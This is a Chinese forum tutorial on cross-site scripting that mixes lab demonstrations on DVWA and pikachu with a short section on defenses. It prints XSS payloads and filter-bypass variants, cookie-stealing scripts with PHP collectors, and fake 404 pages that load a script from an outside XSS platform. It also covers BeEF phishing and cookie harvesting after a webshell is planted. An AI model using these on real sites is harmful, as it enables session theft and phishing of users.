本帖最后由 手机用户TQe_75 于 2021-4-7 23:59 编辑
一、XSS的原理与分类
1.1 XSS的原理 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS) 混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击! 跨站脚本注入漏洞产生的根本原因是田于WEB服务器读取了用户可控数据输出到HTML页面的过程中没有进行安全处理导致的。 用户可控数据:所有来自客户端的数据都可以被客户端控制,包括url、参数、HTTP头部字段(cookie、referer、HOST等)、请求正文等都属于用户可控数据。 1.2 XSS的分类
1.2.1 反射性XSS
1)概述: 反射型XSS:反射型XSS也被称为非持久性XSS,当用户访问一个带有XSS代码的HTML请求时,服务器端接收数据后处理,然后把带有XSS的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,就造成XSS漏洞,这个过程就像一次反射,所以叫反射型XSS。因此需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),反射型XSS大多数是用来盗取用户Cookie信息。 2)常见位置: 反射型跨站常见的出现位置:用户登录、搜索框、订单提交等位置经常会引用客户可控输入,如果没有进行很好的处理很容易出现反射型跨站漏洞,URL本身常见的跨站注入点。 3)攻击流程 1.2.2 存储型XSS1)概述 存储型XSS:又称为持久化XSS,存储型XSS是最危险的一种跨站脚本漏洞,当攻击者提交一段 XSS代码后,被服务端接收并存储,当攻击者或用户再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击,这是存储型XSS。因为代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie 例如: 1、攻击者在留言板中提交一段XSS代码,服务端接收后并进行存储; 2、当管理员查看留言板时便触发了XSS代码,形成XSS跨站攻击 2)常见位置: 存储型跨站常见的出现位置:用户留言、评论、用户昵称、用户信息等凡是可以提交数据由服务器进行存储和显示的位置都有可能出现存储型跨站。 3)攻击流程 1.2.3 DOM型XSS1)概述 DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。 2)DOM修改节点值 HTML DOM的方法
getElementByld():返回带有指定lD的元素 getElementsByTagName():返回包含带有指定标签名称的所有元素的节点列表 getElementsByClassName():返回包含带有指定类名的所有元素的节点列表 setAttribute():把指定属性设置或修改为指定的值
可能触发DOM型XSS的属性
document.referer window.name location innerHTML documen.write
例子1:当有id存在时 例子2:没有id存在时 例子3:xss语句插入的位置在要修改DOM节点之前 例子4:XSS利用DOM修改登录页面忘记密码的链接 二、XSS的渗透思路
2.1 XSS的攻击载荷构造 构造XSS Payload是测试XSS注入攻击的核心工作,针对可疑的注入点,我们需要根据用户可控输入的输出位置采用不同的方式尝试构造Payload,并根据应用的 安全防护规则调整payload,根据返回结果判断漏洞是否存在以及风险的高低程度。 1)根据输出位置选择payload构造方式 空白位置:插入新的script标签 Html标签中:闭合标签并建立新的script标签 Html标签属性中:闭合标签属性插入新的属性 HTML注释内容 Javascript中:闭合javascript语句并写入新的语句 CSS中:闭合CSS标签属性并插入新的script标签
2)根据过滤规则调整payload 大小写 编码 双写 特殊的脚本标签 事件属性执行脚本 仅插入标签 ....
3)根据返回结果判断漏洞是否存在以及风险的高低程度 常用payload如下: 以下所有标签的 > 都可以用 // 代替, 例如 <script>alert(1)</script// [size=0.9em]<script>标签:<script>标签是最直接的XSS有效载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中
<script>alert("hack")</script> #弹出hack
<script>alert(/hack/)</script> #弹出hack
<script>alert(1)</script> #弹出1,对于数字可以不用引号
<script>alert(document.cookie)</script> #弹出cookie
<script src=http://xxx.com/xss.js></script> #引用外部的xsssvg标签 <svg onload=alert(1)>
<svg onload=alert(1)//<img>标签: <img src=1 onerror=alert("hack")>
<img src=1 onerror=alert(document.cookie)> #弹出cookiebody标签: <body onload=alert(1)>
<body onpageshow=alert(1)>video标签: <video onloadstart=alert(1) src="/media/hack-the-planet.mp4" />style标签: <style onload=alert(1)></style>
2.2 漏洞挖掘黑盒测试 尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下面这些: 常见业务场景 重灾区:评论区、留言区、个人信息、订单信息等 针对型:站内信、网页即时通讯、私信、意见反馈 存在风险:搜索框、当前目录、图片属性等
白盒测试(代码审计) 关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。 PHP中常见的接收参数的方式有$_GET、$_POST、$_REQUEST等等,可以搜索所有接收参数的地方。然后对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。 也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。 大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等。 同理审计DOM型注入可以搜索一些js操作DOM元素的关键词进行审计。 2.3 XSS的具体攻击流程
2.3.1 反射性XSS漏洞Alice经常浏览某个网站,此网站为Bob所拥有。Bob的站点需要Alice使用用户名/密码进行登录,并存储了Alice敏感信息(比如银行帐户信息)。 Tom 发现 Bob的站点存在反射性的XSS漏洞 Tom 利用Bob网站的反射型XSS漏洞编写了一个exp,做成链接的形式,并利用各种手段诱使Alice点击 Alice在登录到Bob的站点后,浏览了 Tom 提供的恶意链接 嵌入到恶意链接中的恶意脚本在Alice的浏览器中执行。此脚本盗窃敏感信息(cookie、帐号信息等信息)。然后在Alice完全不知情的情况下将这些信息发送给 Tom。 Tom 利用获取到的cookie就可以以Alice的身份登录Bob的站点,如果脚本的功更强大的话,Tom 还可以对Alice的浏览器做控制并进一步利用漏洞控制
源代码如下: <?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?> 攻击结果:
2.3.2 存储型XSS漏洞Bob拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。 Tom检测到Bob的站点存在存储型的XSS漏洞。 Tom在Bob的网站上发布一个带有恶意脚本的热点信息,该热点信息存储在了Bob的服务器的数据库中,然后吸引其它用户来阅读该热点信息。 Bob或者是任何的其他人如Alice浏览该信息之后,Tom的恶意脚本就会执行。 Tom的恶意脚本执行后,Tom就可以对浏览器该页面的用户发动一起XSS攻击
源代码如下: <html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<title>留言板</title>
</head>
<body>
<center>
<h6>输入留言内容</h6>
<form action="" method="post">
标题:<input type="text" name="title"><br />
内容:<textarea name="content"></textarea><br />
<input type="submit">
</form>
<hr>
<?php
$con=mysqli_connect("localhost","root","root","test");
if (mysqli_connect_errno())
{
echo "连接失败: " . mysqli_connect_error();
}
if (isset($_POST['title'])) {
$result1 = mysqli_query($con,"insert into xss(`title`, `content`) VALUES ('".$_POST['title']."','".$_POST['content']."')");
}
$result2 = mysqli_query($con,"select * from xss");
echo "<table border='1'><tr><td>标题</td><td>内容</td></tr>";
while($row = mysqli_fetch_array($result2))
{
echo "<tr><td>".$row['title'] . "</td><td>" . $row['content']."</td>";
}
echo "</table>";
?>
</center>
</body>
</html>攻击过程如下: 利用存储型XSS实现手工盗取cookie 方式一: JS脚本 <script>document.location='http://127.0.0.1/getCookie.php?cookie='+document.cookie;</script>PHP脚本 <?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","w");
fwrite($log,$cookie."\n");
fclose($log);
echo "攻击成功"
?> 1、本地使用DVWA作为实验环境,通过修改源码突破字符长度: 2、输入javascript脚本语句:
3、开始攻击,成功获取到cookie 方式二(AJAX): JS脚本: <script>
var url='http://127.0.0.1/cookie1.php';
var data='cookie='+document.cookie;
var nxhr= new XMLHttpRequest();
nxhr.open('POST',url);
nxhr.setRequestHeader( 'content-type','application/x-www-form-urlencoded');
nxhr.send(data);
</script>PHP脚本: <?php
date_default_timezone_set("Asia/shanghai");
$cookie = $_POST['cookie'];
$time = date("Y-m-d H:i");
echo $time;
$refer = $_SERVER['HTTP_REFERER'];
$content = $time."::"."$refer"."::".$cookie."\r\n";
file_put_contents("cookie1.txt", $content, FILE_APPEND);
?>1、开始攻击 2.3.2 DOM型XSS漏洞先放上源代码 // 前端3.html
<html>
<head lang="en">
<meta charset="UTF-8">
<title>DOM型XSS</title>
</head>
<body>
<form action="action3.php" method="post">
<input type="text" name="name" />
<input type="submit" value="提交">
</form>
</body>
</html>
// 后端action3.php
<?php
$name=$_POST["name"];
?>
<input id="text" type="text" value="<?php echo $name; ?>"/>
<div id="print"></div>
<script type="text/javascript">
var text=document.getElementById("text");
var print=document.getElementById("print");
print.innerHTML=text.value; // 获取 text的值,并且输出在print内。这里是导致xss的主要原因。
</script> 这里有一个用户提交的页面,用户可以在此提交数据,数据提交之后给后台处理 我们可以输入 <img src=1 οnerrοr=alert('hack')> ,然后看看页面的变化 页面直接弹出了 hack 的页面,可以看到,我们插入的语句已经被页面给执行了。这就是DOM型XSS漏洞,这种漏洞数据流向是: 前端-->浏览器 2.4 XSS绕过防护的技巧
2.4.1 针对输入输出的防护机制
2.4.2 防护规则的判断与绕过 为了避免XSS漏洞的存在,通常应用会对用户输入进行一定的安全处理后再输出的HTML中,在进行XSS漏洞测试时需要推测出应用的安全处理方法(即防护规则),并采用对应的绕过方式来进行绕过测试。通常防护规则会检测输入中是否有html标签或脚本的关键字并进行处理,根据处理方法的不同可分为过滤、编码、删除、插入等,有时会使用多种方法共同防护。 过滤:发现关键字时返回错误 编码:发现关键字时对关键字进行编码 插入:发现关键字时插入改变关键字语义的符号 删除:发现关键字时删除关键字
防护规则的绕过思路: 判断关键字——>判断防护规则——>尝试不含关键字的payload——>大小写,编码,双写
2.4.3 XSS绕过规则之符号与关键字利用符号判断语句:'';!--""<XSS>=&{()} 关键字判断:script、alert、javascript、expression等 常见事件属性
onerror onmouseover onclick onload oninput oncut onscroll
aler()的替换词:confirm()、prompt()
2.4.4 XSS绕过方式1)大小写绕过: 过滤代码如下: <?php
$name=$_POST["name"];
if($name!=null){
$name=preg_replace("/<script>/","",$name); //过滤<script>
$name=preg_replace("/<\/script>/","",$name); //过滤</script>
echo $name;
}
?>绕过代码如下: <img src="javascript:alert(O);">
<IMG SRC="javascript:alert(O);">
<iMg sRC="jaVasCript:alert(O);">
<img src=1>
<iMg sRc=1>2)双写绕过 过滤代码如下: $str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);绕过代码如下: <script>alert(/xss/)</script>
<>alert(/xss/)</>
<scrscriptipt>alert(/xss/)</scrscriptipt>
<img src=1>
<img src=1 oonnerror="alert(/1/)">3)对标签属性值进行html实体编码 ASCII编码也就是十进制编码。 如t的ASCII为116,用t表示; 冒号:则表示为:。
<img src="javascript:alert(O);">
<img src="javascript:alert(O);">
<a href=javascript:alert(1)>
<a
href=javascript:alert(1)>
2.4.5 反射性XSS的利用姿势 我们现在发现一个网站存在反射型XSS,当用户登录该网站时,我们通过诱使用户点击我们精心制作的恶意链接,来盗取用户的Cookie并且发送给我们,然后我们再利用盗取的Cookie以用户的身份登录该用户的网站。 get型 当我们输入参数的请求类型的get类型的,即我们输入的参数是以URL参数的形式。如下图 那么,我们要怎么构造 恶意代码来诱使用户点击并且用户点击后不会发现点击了恶意链接呢? 我们构造了如下代码,将其保存为html页面,然后放到我们自己的服务器上,做成一个链接。当用户登录了存在漏洞的网站,并且用户点击了我们构造的恶意链接时,该链接页面会偷偷打开iframe框架,iframe会访问其中的链接,然后执行我们的js代码。该js代码会把存在漏洞网站的cookie发送到我们的平台上,但是用户却浑然不知,他会发现打开的是一个404的页面! <!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>404 页面不存在 </title>
<style type="text/css">
body{font:14px/1.5 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
.error-page{background:#f0f1f3;padding:80px 0 180px}
.error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
.error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}
.error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}
</style>
</head>
<body>
<iframe src="http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<sCRiPt sRC=//xsshs.cn/JkzA></sCrIpT>" style="display:none;"></iframe>
<div class="error-page">
<div class="error-page-container">
<div class="error-page-main">
<h3>
<strong>404</strong>很抱歉,您要访问的页面不存在!
</h3>
</div>
</div>
</div>
</body>
</html>构造恶意跳转链接: http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/getcookie.html'</script>注:我们的攻击代码可以利用的前提是存在XSS漏洞的网站的X-Frame-options未配置,并且会话Cookie没有设置Http Only属性 post型: 我们现在知道一个网站的用户名输入框存在反射型的XSS漏洞 我们构造了如下代码,将其保存为html页面,然后放到我们自己的服务器上,做成一个链接。当用户登录了存在漏洞的网站,并且用户点击了我们构造的恶意链接时,该恶意链接的页面加载完后会执行js代码,完成表单的提交,表单的用户名参数是我们的恶意js代码。提交完该表单后,该js代码会把存在漏洞网站的cookie发送到我们的平台上,并跳转到首页
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>404 页面不存在 </title>
<style type="text/css">
body{font:14px/1.5 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
.error-page{background:#f0f1f3;padding:80px 0 180px}
.error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
.error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}
.error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}
</style>
<script type="text/javascript">
window.onload=function()
{
document.getElementById("post").click();
}
</script>
</head>
<body>
<div class="error-page">
<div class="error-page-container">
<div class="error-page-main">
<h3>
<strong>404</strong>很抱歉,您要访问的页面不存在!
</h3>
</div>
</div>
<form method="post" id="transfer" action="http://10.10.10.1/pikachu-master/vul/xss/xsspost/xss_reflected_post.php">
<input type="hidden" name="message" value="<sCRiPt sRC=//xsshs.cn/JkzA></sCrIpT>" />
<input type='submit' name="submit" value="submit" id="post"/>
</form>
</div>
</body>
构造而已链接,欺骗点击。
192.168.0.103/postcookie.html
三、XSS的危害及防护
3.1 XSS的危害 从以上我们可以知道,存储型的XSS危害最大。因为他存储在服务器端,所以不需要我们和被攻击者有任何接触,只要被攻击者访问了该页面就会遭受攻击。而反射型和DOM型的XSS则需要我们去诱使用户点击我们构造的恶意的URL,需要我们和用户有直接或者间接的接触,比如利用 社会工程学或者利用在其他网页挂马的方式。 流量劫持 获取用户cookie信息,盗取账号 篡改、删除页面信息(钓鱼) 配合CSRF攻击,实施进一步的攻击
3.2 XSS的防御 XSS的威力主要是取决于JavaScript能够实现的程度,XSS跨站脚本的形成原因是对输入输出没有严格过滤,导致在页面上可以执行JavaScript等客户端代码,所以只要将敏感字符过滤,就可以修复XSS跨站漏洞。 修复和防范方法: 1.Web客户端和服务端对用户的输入输出进行过滤或转义,如:<,>,script; 2.浏览器设置为高安全级别,Cookie属性HttpOnly设置为true,浏览器将禁止javascript访问带有HttpOnly属性的cookie; 3.Web服务器安装WAF/IDS/IPS等产品,拦截攻击代码; 4.关闭浏览器自动密码填写功能,防止被钓鱼页面、表单调取账号密码; 例如: <?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
四、XSS常用工具
4.1 XSSER
4.1.1 介绍 XSSER是XSS漏洞利用的框架,通过使用XSSER的payload盗取用户的Cookie,并可以配置是否keepsession,保持会话,也可用来做认证钓鱼等XSS攻击,还可以自行创建XSS攻击模板,进行快速的利用。 4.1.2 使用步骤
也可以通过XSSER平台进行
4.2 Beef-xss
4.2.1 介绍
BEEF (The Browser Exploitation Framework):一款浏览器攻击框架,用Ruby语言开发的,Kali中默认安装的一个模块,用于实现对XSS漏洞的攻击和利用。 BeEF主要是往网页中插入一段名为hook.js的JS脚本代码,如果浏览器访问了有hook.js(钩子)的页面,就会被hook(勾住),勾连的浏览器会执行初始代码返回一些信息,接着目标主机会每隔一段时间(默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。BeEF服务器本质上就像一个Web应用,被分为前端和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeEF持有者可以通过浏览器来登录 BeEF 的后端,来控制前端(用户的浏览器)。BeEF一般和XSS漏洞结合使用。 BeEF的目录是: /usr/share/beef-xss/beef 4.2.2 基本使用进入目录,通过./beef打开beef工具 手动打开浏览器,登录名和密码默认都是:beef 登录成功后,这里会显示在线的主机和不在线的主机。在线的就是现在该主机浏览器执行了我们的JS脚本代码,不在线的就是该主机曾经执行过我们的JS脚本代码,但是现在叉掉了该页面 我们点击当前在线的主机,然后右边会有选择框,我们点击 Current Browser *,*然后下面就有一些功能项:Details、Logs、Commands、Rider、XssRays、Ipec、Network、WebRTC 我们点击Command,这里有一些我们可以使用的功能分类,一共有12个大的功能,括号里面的是每个功能分类里面的个数。 我们随便点开一个看看, 发现有四种颜色的功能。 绿色的代表该功能有效,并且执行不会被用户所发现 橙色的代表该功能有效,但是执行会被用户所发现 白色的代表该功能不确定是否有效 红色的代表该功能无效
获取用户Cookie 我们点击Browser—>Hooked Domain —>Get Cookie,然后点击右下角的Execute 然后点击我们执行的那条命令,右边就可以看到浏览器的 Cookie 了。 网页重定向 我们点击Browser—>Hooked Domain —>Redirect Browser,然后点击右下角的Execute,然后用户的浏览器的该页面就会跳转到百度的页面了。
社工弹窗 我们点击Social Engiineering——>  retty Theft ,然后右上角选择弹窗的类型,右下角点击 Execute 然后浏览器那边就会弹出框,如果你在框内输入了用户名和密码的话 如果用户输入了用户名和密码,点击了Log in的话,我们后台是可以收到密码的 钓鱼网站(结合DNS欺骗) 五、XSS的其他使用
5.1 cookie权限维持条件: 1、 已经获取网站webshell权限 2、 网站后台目录文件有可写权限利用原理:通过修改后台登录成功文件,利用js代码获取每次登录成功的用户cookie(管理员权限)。 步骤: 1)判断登录或者失败以后跳转的地址 登录成功: 登录失败 2)在登录成功跳转的页面插入JS代码 3)在XSS平台查看
5.2 实现webshell箱子1)在大马里面添加上后门 2)在服务端接受后门数据 3)当大马成功访问目标网站时,会将网站的地址及大马密码返回到服务端 4)也可以通过修改返回的数据包达到反杀后门的目的 5)在服务端打开会发现返回的JS代码被执行 若将JS代码改为获取cookie的,即可盗取webshell箱子管理员权限,达到反杀的目的。
|